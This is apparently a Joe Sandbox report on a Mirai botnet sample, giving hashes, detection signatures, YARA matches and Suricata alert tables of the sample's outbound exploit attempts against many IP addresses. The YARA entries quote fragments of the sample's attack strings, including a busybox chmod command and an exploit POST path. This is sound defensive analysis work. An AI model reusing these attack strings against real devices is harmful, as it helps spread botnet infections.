Edit tour

Linux Analysis Report
mips.elf

Overview

General Information

Sample name:	mips.elf
Analysis ID:	1567794
MD5:	ef8daf11e4d7f6e5ceb5231e5333b9a7
SHA1:	3cb74d506ffaca5a3d2b865a41ba8c4a1943ebda
SHA256:	3010da171a6907ee997460ba49c59b50285b1a9e7acca93759d51f81bf6ff01f
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567794
Start date and time:	2024-12-03 21:30:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mips.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@25/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: mips.elf

Runtime Messages

Command:	/tmp/mips.elf
PID:	6224
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

mips.elf (PID: 6224, Parent: 6140, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf

mips.elf New Fork (PID: 6226, Parent: 6224)

mips.elf New Fork (PID: 6228, Parent: 6226)

mips.elf New Fork (PID: 6230, Parent: 6226)

mips.elf New Fork (PID: 6232, Parent: 6226)

mips.elf New Fork (PID: 6235, Parent: 6226)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mips.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
mips.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
mips.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
mips.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x142ee:$x2: /bin/busybox chmod 777 * /tmp/ 0x14044:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x13f90:$s3: POST /cdn-cgi/
mips.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13f90:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x142ee:$x2: /bin/busybox chmod 777 * /tmp/ 0x14044:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x13f90:$s3: POST /cdn-cgi/
6224.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13f90:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x142ee:$x2: /bin/busybox chmod 777 * /tmp/ 0x14044:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x13f90:$s3: POST /cdn-cgi/
6228.1.00007f9d64400000.00007f9d64416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x13f90:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: mips.elf PID: 6224	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mips.elf PID: 6228	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T21:30:50.033418+0100	2030092	1	Web Application Attack	192.168.2.23	47310	183.236.75.193	80	TCP
2024-12-03T21:30:51.501842+0100	2030092	1	Web Application Attack	192.168.2.23	48276	149.30.241.216	80	TCP
2024-12-03T21:30:52.650810+0100	2030092	1	Web Application Attack	192.168.2.23	58476	217.117.141.188	80	TCP
2024-12-03T21:30:55.258160+0100	2030092	1	Web Application Attack	192.168.2.23	35490	90.84.11.230	80	TCP
2024-12-03T21:31:04.456153+0100	2030092	1	Web Application Attack	192.168.2.23	39598	62.96.206.43	80	TCP
2024-12-03T21:31:07.784548+0100	2030092	1	Web Application Attack	192.168.2.23	45608	76.74.156.165	80	TCP
2024-12-03T21:31:08.859675+0100	2030092	1	Web Application Attack	192.168.2.23	42018	185.215.39.30	80	TCP
2024-12-03T21:31:09.175039+0100	2030092	1	Web Application Attack	192.168.2.23	44740	202.42.96.98	80	TCP
2024-12-03T21:31:09.185234+0100	2030092	1	Web Application Attack	192.168.2.23	44184	204.107.80.7	80	TCP
2024-12-03T21:31:09.207860+0100	2030092	1	Web Application Attack	192.168.2.23	36806	67.64.187.21	80	TCP
2024-12-03T21:31:09.215733+0100	2030092	1	Web Application Attack	192.168.2.23	59584	146.130.90.64	80	TCP
2024-12-03T21:31:09.222833+0100	2030092	1	Web Application Attack	192.168.2.23	60466	51.194.102.135	80	TCP
2024-12-03T21:31:09.255845+0100	2030092	1	Web Application Attack	192.168.2.23	56878	27.172.93.161	80	TCP
2024-12-03T21:31:09.262434+0100	2030092	1	Web Application Attack	192.168.2.23	45660	197.193.109.69	80	TCP
2024-12-03T21:31:09.272497+0100	2030092	1	Web Application Attack	192.168.2.23	40332	57.80.127.128	80	TCP
2024-12-03T21:31:09.300169+0100	2030092	1	Web Application Attack	192.168.2.23	57204	67.165.85.6	80	TCP
2024-12-03T21:31:09.311362+0100	2030092	1	Web Application Attack	192.168.2.23	45142	64.213.12.242	80	TCP
2024-12-03T21:31:09.331540+0100	2030092	1	Web Application Attack	192.168.2.23	43660	18.211.7.205	80	TCP
2024-12-03T21:31:09.356493+0100	2030092	1	Web Application Attack	192.168.2.23	45656	181.236.160.87	80	TCP
2024-12-03T21:31:09.356678+0100	2030092	1	Web Application Attack	192.168.2.23	42942	73.108.231.65	80	TCP
2024-12-03T21:31:09.356709+0100	2030092	1	Web Application Attack	192.168.2.23	41132	197.253.59.50	80	TCP
2024-12-03T21:31:09.362780+0100	2030092	1	Web Application Attack	192.168.2.23	53818	186.140.24.86	80	TCP
2024-12-03T21:31:09.372079+0100	2030092	1	Web Application Attack	192.168.2.23	33108	58.115.115.241	80	TCP
2024-12-03T21:31:09.372227+0100	2030092	1	Web Application Attack	192.168.2.23	35336	181.179.122.117	80	TCP
2024-12-03T21:31:09.381956+0100	2030092	1	Web Application Attack	192.168.2.23	59944	81.68.222.43	80	TCP
2024-12-03T21:31:09.388072+0100	2030092	1	Web Application Attack	192.168.2.23	59056	187.240.42.70	80	TCP
2024-12-03T21:31:09.434297+0100	2030092	1	Web Application Attack	192.168.2.23	49646	162.82.86.148	80	TCP
2024-12-03T21:31:10.206271+0100	2030092	1	Web Application Attack	192.168.2.23	36088	34.35.216.85	80	TCP
2024-12-03T21:31:10.272364+0100	2030092	1	Web Application Attack	192.168.2.23	38070	126.106.81.125	80	TCP
2024-12-03T21:31:10.279300+0100	2030092	1	Web Application Attack	192.168.2.23	37520	212.76.170.100	80	TCP
2024-12-03T21:31:10.299958+0100	2030092	1	Web Application Attack	192.168.2.23	48512	185.106.6.240	80	TCP
2024-12-03T21:31:10.309132+0100	2030092	1	Web Application Attack	192.168.2.23	60518	173.191.101.175	80	TCP
2024-12-03T21:31:10.309257+0100	2030092	1	Web Application Attack	192.168.2.23	54956	20.208.169.44	80	TCP
2024-12-03T21:31:10.324796+0100	2030092	1	Web Application Attack	192.168.2.23	53798	70.59.74.111	80	TCP
2024-12-03T21:31:10.523510+0100	2030092	1	Web Application Attack	192.168.2.23	34734	59.157.117.58	80	TCP
2024-12-03T21:31:10.531072+0100	2030092	1	Web Application Attack	192.168.2.23	41920	42.157.213.192	80	TCP
2024-12-03T21:31:10.531974+0100	2030092	1	Web Application Attack	192.168.2.23	40834	151.62.98.232	80	TCP
2024-12-03T21:31:11.089794+0100	2030092	1	Web Application Attack	192.168.2.23	53452	96.7.66.49	80	TCP
2024-12-03T21:31:11.096878+0100	2030092	1	Web Application Attack	192.168.2.23	60524	207.154.231.3	80	TCP
2024-12-03T21:31:12.193160+0100	2030092	1	Web Application Attack	192.168.2.23	54002	93.194.223.82	80	TCP
2024-12-03T21:31:12.193418+0100	2030092	1	Web Application Attack	192.168.2.23	41888	8.105.165.198	80	TCP
2024-12-03T21:31:12.193722+0100	2030092	1	Web Application Attack	192.168.2.23	47072	136.13.75.65	80	TCP
2024-12-03T21:31:12.208328+0100	2030092	1	Web Application Attack	192.168.2.23	43802	79.74.148.82	80	TCP
2024-12-03T21:31:12.208365+0100	2030092	1	Web Application Attack	192.168.2.23	50180	208.246.133.237	80	TCP
2024-12-03T21:31:12.208480+0100	2030092	1	Web Application Attack	192.168.2.23	59906	145.105.254.172	80	TCP
2024-12-03T21:31:12.208596+0100	2030092	1	Web Application Attack	192.168.2.23	37822	25.253.247.243	80	TCP
2024-12-03T21:31:12.208694+0100	2030092	1	Web Application Attack	192.168.2.23	44126	32.198.110.33	80	TCP
2024-12-03T21:31:12.208794+0100	2030092	1	Web Application Attack	192.168.2.23	60512	143.141.87.96	80	TCP
2024-12-03T21:31:12.208867+0100	2030092	1	Web Application Attack	192.168.2.23	51182	46.19.30.11	80	TCP
2024-12-03T21:31:12.208908+0100	2030092	1	Web Application Attack	192.168.2.23	43128	4.17.178.247	80	TCP
2024-12-03T21:31:12.224378+0100	2030092	1	Web Application Attack	192.168.2.23	44394	52.117.45.194	80	TCP
2024-12-03T21:31:12.224387+0100	2030092	1	Web Application Attack	192.168.2.23	50612	2.81.246.81	80	TCP
2024-12-03T21:31:12.224394+0100	2030092	1	Web Application Attack	192.168.2.23	56784	23.46.95.33	80	TCP
2024-12-03T21:31:12.231824+0100	2030092	1	Web Application Attack	192.168.2.23	59458	81.168.40.42	80	TCP
2024-12-03T21:31:12.231829+0100	2030092	1	Web Application Attack	192.168.2.23	44024	185.221.32.180	80	TCP
2024-12-03T21:31:12.232152+0100	2030092	1	Web Application Attack	192.168.2.23	33458	92.42.91.229	80	TCP
2024-12-03T21:31:12.232222+0100	2030092	1	Web Application Attack	192.168.2.23	57976	199.155.1.164	80	TCP
2024-12-03T21:31:12.237614+0100	2030092	1	Web Application Attack	192.168.2.23	58894	97.66.36.254	80	TCP
2024-12-03T21:31:12.237869+0100	2030092	1	Web Application Attack	192.168.2.23	45934	139.246.200.67	80	TCP
2024-12-03T21:31:12.237956+0100	2030092	1	Web Application Attack	192.168.2.23	39532	5.104.106.96	80	TCP
2024-12-03T21:31:12.238043+0100	2030092	1	Web Application Attack	192.168.2.23	48860	168.79.240.244	80	TCP
2024-12-03T21:31:12.246591+0100	2030092	1	Web Application Attack	192.168.2.23	35140	167.75.81.162	80	TCP
2024-12-03T21:31:12.246768+0100	2030092	1	Web Application Attack	192.168.2.23	34690	142.202.33.132	80	TCP
2024-12-03T21:31:12.246946+0100	2030092	1	Web Application Attack	192.168.2.23	39888	96.227.56.195	80	TCP
2024-12-03T21:31:12.253293+0100	2030092	1	Web Application Attack	192.168.2.23	44170	148.66.215.250	80	TCP
2024-12-03T21:31:12.253645+0100	2030092	1	Web Application Attack	192.168.2.23	38100	42.199.59.6	80	TCP
2024-12-03T21:31:12.262736+0100	2030092	1	Web Application Attack	192.168.2.23	36052	185.96.7.190	80	TCP
2024-12-03T21:31:12.263051+0100	2030092	1	Web Application Attack	192.168.2.23	43838	207.88.49.48	80	TCP
2024-12-03T21:31:12.263279+0100	2030092	1	Web Application Attack	192.168.2.23	40592	141.173.180.9	80	TCP
2024-12-03T21:31:12.263442+0100	2030092	1	Web Application Attack	192.168.2.23	37090	61.41.15.72	80	TCP
2024-12-03T21:31:12.268871+0100	2030092	1	Web Application Attack	192.168.2.23	47556	216.131.217.108	80	TCP
2024-12-03T21:31:12.268901+0100	2030092	1	Web Application Attack	192.168.2.23	60610	223.111.24.66	80	TCP
2024-12-03T21:31:12.269055+0100	2030092	1	Web Application Attack	192.168.2.23	41738	201.148.44.14	80	TCP
2024-12-03T21:31:12.269171+0100	2030092	1	Web Application Attack	192.168.2.23	57176	82.135.213.51	80	TCP
2024-12-03T21:31:12.269362+0100	2030092	1	Web Application Attack	192.168.2.23	48818	172.153.131.92	80	TCP
2024-12-03T21:31:12.278327+0100	2030092	1	Web Application Attack	192.168.2.23	54830	120.196.61.187	80	TCP
2024-12-03T21:31:12.279398+0100	2030092	1	Web Application Attack	192.168.2.23	41664	24.242.230.192	80	TCP
2024-12-03T21:31:12.279839+0100	2030092	1	Web Application Attack	192.168.2.23	60028	104.234.241.23	80	TCP
2024-12-03T21:31:12.280016+0100	2030092	1	Web Application Attack	192.168.2.23	60286	138.250.81.210	80	TCP
2024-12-03T21:31:12.280578+0100	2030092	1	Web Application Attack	192.168.2.23	55744	119.211.146.165	80	TCP
2024-12-03T21:31:12.280670+0100	2030092	1	Web Application Attack	192.168.2.23	45350	171.48.150.224	80	TCP
2024-12-03T21:31:12.280760+0100	2030092	1	Web Application Attack	192.168.2.23	34222	147.179.254.202	80	TCP
2024-12-03T21:31:12.280881+0100	2030092	1	Web Application Attack	192.168.2.23	34436	24.149.246.129	80	TCP
2024-12-03T21:31:12.280977+0100	2030092	1	Web Application Attack	192.168.2.23	39552	32.227.59.119	80	TCP
2024-12-03T21:31:12.281248+0100	2030092	1	Web Application Attack	192.168.2.23	58478	104.94.144.183	80	TCP
2024-12-03T21:31:12.294826+0100	2030092	1	Web Application Attack	192.168.2.23	58148	71.187.196.149	80	TCP
2024-12-03T21:31:12.294984+0100	2030092	1	Web Application Attack	192.168.2.23	32938	183.134.212.93	80	TCP
2024-12-03T21:31:12.295207+0100	2030092	1	Web Application Attack	192.168.2.23	55766	116.150.62.104	80	TCP
2024-12-03T21:31:12.295345+0100	2030092	1	Web Application Attack	192.168.2.23	33604	40.18.80.153	80	TCP
2024-12-03T21:31:12.309109+0100	2030092	1	Web Application Attack	192.168.2.23	41300	69.255.176.9	80	TCP
2024-12-03T21:31:12.309216+0100	2030092	1	Web Application Attack	192.168.2.23	39454	150.63.45.186	80	TCP
2024-12-03T21:31:12.309354+0100	2030092	1	Web Application Attack	192.168.2.23	34066	68.81.161.145	80	TCP
2024-12-03T21:31:12.428302+0100	2030092	1	Web Application Attack	192.168.2.23	46770	175.121.86.4	80	TCP
2024-12-03T21:31:12.554161+0100	2030092	1	Web Application Attack	192.168.2.23	56822	51.137.140.164	80	TCP
2024-12-03T21:31:12.554172+0100	2030092	1	Web Application Attack	192.168.2.23	49798	18.145.102.122	80	TCP
2024-12-03T21:31:12.554186+0100	2030092	1	Web Application Attack	192.168.2.23	37672	94.147.154.72	80	TCP
2024-12-03T21:31:13.393743+0100	2030092	1	Web Application Attack	192.168.2.23	56708	8.103.67.204	80	TCP
2024-12-03T21:31:13.746841+0100	2030092	1	Web Application Attack	192.168.2.23	41620	67.181.179.91	80	TCP
2024-12-03T21:31:13.785397+0100	2030092	1	Web Application Attack	192.168.2.23	59116	46.150.128.128	80	TCP
2024-12-03T21:31:13.793626+0100	2030092	1	Web Application Attack	192.168.2.23	35808	220.142.4.23	80	TCP
2024-12-03T21:31:14.847055+0100	2030092	1	Web Application Attack	192.168.2.23	42668	83.242.246.47	80	TCP
2024-12-03T21:31:15.012546+0100	2030092	1	Web Application Attack	192.168.2.23	47940	38.185.77.8	80	TCP
2024-12-03T21:31:15.020897+0100	2030092	1	Web Application Attack	192.168.2.23	49280	97.60.74.150	80	TCP
2024-12-03T21:31:15.425088+0100	2030092	1	Web Application Attack	192.168.2.23	44038	223.118.93.51	80	TCP
2024-12-03T21:31:15.425170+0100	2030092	1	Web Application Attack	192.168.2.23	38530	198.186.23.221	80	TCP
2024-12-03T21:31:15.863716+0100	2030092	1	Web Application Attack	192.168.2.23	39412	31.140.158.101	80	TCP
2024-12-03T21:31:15.864160+0100	2030092	1	Web Application Attack	192.168.2.23	39156	171.122.203.201	80	TCP
2024-12-03T21:31:15.878451+0100	2030092	1	Web Application Attack	192.168.2.23	58276	167.17.65.142	80	TCP
2024-12-03T21:31:15.878700+0100	2030092	1	Web Application Attack	192.168.2.23	41088	163.9.31.130	80	TCP
2024-12-03T21:31:15.887469+0100	2030092	1	Web Application Attack	192.168.2.23	34176	200.1.115.254	80	TCP
2024-12-03T21:31:15.893572+0100	2030092	1	Web Application Attack	192.168.2.23	34144	40.164.129.252	80	TCP
2024-12-03T21:31:15.893800+0100	2030092	1	Web Application Attack	192.168.2.23	43374	134.190.6.30	80	TCP
2024-12-03T21:31:15.902953+0100	2030092	1	Web Application Attack	192.168.2.23	40888	18.149.183.76	80	TCP
2024-12-03T21:31:15.903074+0100	2030092	1	Web Application Attack	192.168.2.23	35640	91.177.96.233	80	TCP
2024-12-03T21:31:15.903203+0100	2030092	1	Web Application Attack	192.168.2.23	38450	154.178.4.253	80	TCP
2024-12-03T21:31:15.903383+0100	2030092	1	Web Application Attack	192.168.2.23	45796	20.90.151.4	80	TCP
2024-12-03T21:31:15.909614+0100	2030092	1	Web Application Attack	192.168.2.23	45066	174.188.142.142	80	TCP
2024-12-03T21:31:15.909626+0100	2030092	1	Web Application Attack	192.168.2.23	58836	106.190.131.163	80	TCP
2024-12-03T21:31:15.918548+0100	2030092	1	Web Application Attack	192.168.2.23	34482	128.5.9.145	80	TCP
2024-12-03T21:31:15.925179+0100	2030092	1	Web Application Attack	192.168.2.23	40944	122.91.92.183	80	TCP
2024-12-03T21:31:15.925331+0100	2030092	1	Web Application Attack	192.168.2.23	48982	212.208.47.65	80	TCP
2024-12-03T21:31:15.925508+0100	2030092	1	Web Application Attack	192.168.2.23	52992	123.104.76.242	80	TCP
2024-12-03T21:31:15.925588+0100	2030092	1	Web Application Attack	192.168.2.23	42508	87.213.185.178	80	TCP
2024-12-03T21:31:15.925739+0100	2030092	1	Web Application Attack	192.168.2.23	44486	223.158.92.56	80	TCP
2024-12-03T21:31:15.933999+0100	2030092	1	Web Application Attack	192.168.2.23	39006	157.84.156.237	80	TCP
2024-12-03T21:31:15.934184+0100	2030092	1	Web Application Attack	192.168.2.23	39140	27.250.38.90	80	TCP
2024-12-03T21:31:15.934361+0100	2030092	1	Web Application Attack	192.168.2.23	53800	91.222.101.204	80	TCP
2024-12-03T21:31:15.934476+0100	2030092	1	Web Application Attack	192.168.2.23	50916	64.64.206.110	80	TCP
2024-12-03T21:31:15.934641+0100	2030092	1	Web Application Attack	192.168.2.23	41032	44.173.181.207	80	TCP
2024-12-03T21:31:15.967907+0100	2030092	1	Web Application Attack	192.168.2.23	60530	41.60.28.34	80	TCP
2024-12-03T21:31:16.153022+0100	2030092	1	Web Application Attack	192.168.2.23	36042	191.26.125.61	80	TCP
2024-12-03T21:31:16.184266+0100	2030092	1	Web Application Attack	192.168.2.23	34664	118.131.207.245	80	TCP
2024-12-03T21:31:17.159334+0100	2030092	1	Web Application Attack	192.168.2.23	34304	135.179.159.201	80	TCP
2024-12-03T21:31:17.201059+0100	2030092	1	Web Application Attack	192.168.2.23	43026	20.5.135.252	80	TCP
2024-12-03T21:31:19.222044+0100	2030092	1	Web Application Attack	192.168.2.23	40094	20.235.63.68	80	TCP
2024-12-03T21:31:19.302827+0100	2030092	1	Web Application Attack	192.168.2.23	58406	157.172.185.13	80	TCP
2024-12-03T21:31:19.302935+0100	2030092	1	Web Application Attack	192.168.2.23	49538	194.92.243.201	80	TCP
2024-12-03T21:31:19.316098+0100	2030092	1	Web Application Attack	192.168.2.23	57684	119.232.26.230	80	TCP
2024-12-03T21:31:19.325090+0100	2030092	1	Web Application Attack	192.168.2.23	48238	223.51.190.43	80	TCP
2024-12-03T21:31:19.846243+0100	2030092	1	Web Application Attack	192.168.2.23	40540	49.12.65.52	80	TCP
2024-12-03T21:31:20.246931+0100	2030092	1	Web Application Attack	192.168.2.23	55812	25.87.52.217	80	TCP
2024-12-03T21:31:21.472336+0100	2030092	1	Web Application Attack	192.168.2.23	60302	68.192.168.104	80	TCP
2024-12-03T21:31:21.472337+0100	2030092	1	Web Application Attack	192.168.2.23	39886	172.75.69.51	80	TCP
2024-12-03T21:31:21.497352+0100	2030092	1	Web Application Attack	192.168.2.23	34048	204.102.109.115	80	TCP
2024-12-03T21:31:21.543966+0100	2030092	1	Web Application Attack	192.168.2.23	35394	1.2.186.211	80	TCP
2024-12-03T21:31:21.544052+0100	2030092	1	Web Application Attack	192.168.2.23	54740	104.144.206.244	80	TCP
2024-12-03T21:31:21.559797+0100	2030092	1	Web Application Attack	192.168.2.23	50598	164.76.197.63	80	TCP
2024-12-03T21:31:22.206700+0100	2030092	1	Web Application Attack	192.168.2.23	34482	87.247.248.58	80	TCP
2024-12-03T21:31:22.232335+0100	2030092	1	Web Application Attack	192.168.2.23	47444	75.117.159.245	80	TCP
2024-12-03T21:31:22.232349+0100	2030092	1	Web Application Attack	192.168.2.23	46530	65.211.64.176	80	TCP
2024-12-03T21:31:22.232352+0100	2030092	1	Web Application Attack	192.168.2.23	54396	184.137.225.161	80	TCP
2024-12-03T21:31:22.232428+0100	2030092	1	Web Application Attack	192.168.2.23	60566	41.63.192.93	80	TCP
2024-12-03T21:31:22.232511+0100	2030092	1	Web Application Attack	192.168.2.23	55156	145.230.14.157	80	TCP
2024-12-03T21:31:22.237444+0100	2030092	1	Web Application Attack	192.168.2.23	48798	206.83.66.253	80	TCP
2024-12-03T21:31:22.237586+0100	2030092	1	Web Application Attack	192.168.2.23	43614	88.157.184.97	80	TCP
2024-12-03T21:31:22.278229+0100	2030092	1	Web Application Attack	192.168.2.23	50754	24.157.0.28	80	TCP
2024-12-03T21:31:22.278360+0100	2030092	1	Web Application Attack	192.168.2.23	50426	86.20.226.157	80	TCP
2024-12-03T21:31:22.278552+0100	2030092	1	Web Application Attack	192.168.2.23	38890	113.153.214.234	80	TCP
2024-12-03T21:31:23.268994+0100	2030092	1	Web Application Attack	192.168.2.23	39362	189.23.115.181	80	TCP
2024-12-03T21:31:23.363089+0100	2030092	1	Web Application Attack	192.168.2.23	47600	149.243.248.75	80	TCP
2024-12-03T21:31:23.500393+0100	2030092	1	Web Application Attack	192.168.2.23	43450	18.179.239.249	80	TCP
2024-12-03T21:31:24.347386+0100	2030092	1	Web Application Attack	192.168.2.23	47732	14.50.118.43	80	TCP
2024-12-03T21:31:24.347395+0100	2030092	1	Web Application Attack	192.168.2.23	60716	45.3.176.167	80	TCP
2024-12-03T21:31:24.434625+0100	2030092	1	Web Application Attack	192.168.2.23	44982	32.153.185.62	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T21:30:50.033418+0100	2029034	1	Web Application Attack	192.168.2.23	47310	183.236.75.193	80	TCP
2024-12-03T21:30:51.501842+0100	2029034	1	Web Application Attack	192.168.2.23	48276	149.30.241.216	80	TCP
2024-12-03T21:30:52.650810+0100	2029034	1	Web Application Attack	192.168.2.23	58476	217.117.141.188	80	TCP
2024-12-03T21:30:55.258160+0100	2029034	1	Web Application Attack	192.168.2.23	35490	90.84.11.230	80	TCP
2024-12-03T21:31:04.456153+0100	2029034	1	Web Application Attack	192.168.2.23	39598	62.96.206.43	80	TCP
2024-12-03T21:31:07.784548+0100	2029034	1	Web Application Attack	192.168.2.23	45608	76.74.156.165	80	TCP
2024-12-03T21:31:08.859675+0100	2029034	1	Web Application Attack	192.168.2.23	42018	185.215.39.30	80	TCP
2024-12-03T21:31:09.175039+0100	2029034	1	Web Application Attack	192.168.2.23	44740	202.42.96.98	80	TCP
2024-12-03T21:31:09.185234+0100	2029034	1	Web Application Attack	192.168.2.23	44184	204.107.80.7	80	TCP
2024-12-03T21:31:09.207860+0100	2029034	1	Web Application Attack	192.168.2.23	36806	67.64.187.21	80	TCP
2024-12-03T21:31:09.215733+0100	2029034	1	Web Application Attack	192.168.2.23	59584	146.130.90.64	80	TCP
2024-12-03T21:31:09.222833+0100	2029034	1	Web Application Attack	192.168.2.23	60466	51.194.102.135	80	TCP
2024-12-03T21:31:09.255845+0100	2029034	1	Web Application Attack	192.168.2.23	56878	27.172.93.161	80	TCP
2024-12-03T21:31:09.262434+0100	2029034	1	Web Application Attack	192.168.2.23	45660	197.193.109.69	80	TCP
2024-12-03T21:31:09.272497+0100	2029034	1	Web Application Attack	192.168.2.23	40332	57.80.127.128	80	TCP
2024-12-03T21:31:09.300169+0100	2029034	1	Web Application Attack	192.168.2.23	57204	67.165.85.6	80	TCP
2024-12-03T21:31:09.311362+0100	2029034	1	Web Application Attack	192.168.2.23	45142	64.213.12.242	80	TCP
2024-12-03T21:31:09.331540+0100	2029034	1	Web Application Attack	192.168.2.23	43660	18.211.7.205	80	TCP
2024-12-03T21:31:09.356493+0100	2029034	1	Web Application Attack	192.168.2.23	45656	181.236.160.87	80	TCP
2024-12-03T21:31:09.356678+0100	2029034	1	Web Application Attack	192.168.2.23	42942	73.108.231.65	80	TCP
2024-12-03T21:31:09.356709+0100	2029034	1	Web Application Attack	192.168.2.23	41132	197.253.59.50	80	TCP
2024-12-03T21:31:09.362780+0100	2029034	1	Web Application Attack	192.168.2.23	53818	186.140.24.86	80	TCP
2024-12-03T21:31:09.372079+0100	2029034	1	Web Application Attack	192.168.2.23	33108	58.115.115.241	80	TCP
2024-12-03T21:31:09.372227+0100	2029034	1	Web Application Attack	192.168.2.23	35336	181.179.122.117	80	TCP
2024-12-03T21:31:09.381956+0100	2029034	1	Web Application Attack	192.168.2.23	59944	81.68.222.43	80	TCP
2024-12-03T21:31:09.388072+0100	2029034	1	Web Application Attack	192.168.2.23	59056	187.240.42.70	80	TCP
2024-12-03T21:31:09.434297+0100	2029034	1	Web Application Attack	192.168.2.23	49646	162.82.86.148	80	TCP
2024-12-03T21:31:10.206271+0100	2029034	1	Web Application Attack	192.168.2.23	36088	34.35.216.85	80	TCP
2024-12-03T21:31:10.272364+0100	2029034	1	Web Application Attack	192.168.2.23	38070	126.106.81.125	80	TCP
2024-12-03T21:31:10.279300+0100	2029034	1	Web Application Attack	192.168.2.23	37520	212.76.170.100	80	TCP
2024-12-03T21:31:10.299958+0100	2029034	1	Web Application Attack	192.168.2.23	48512	185.106.6.240	80	TCP
2024-12-03T21:31:10.309132+0100	2029034	1	Web Application Attack	192.168.2.23	60518	173.191.101.175	80	TCP
2024-12-03T21:31:10.309257+0100	2029034	1	Web Application Attack	192.168.2.23	54956	20.208.169.44	80	TCP
2024-12-03T21:31:10.324796+0100	2029034	1	Web Application Attack	192.168.2.23	53798	70.59.74.111	80	TCP
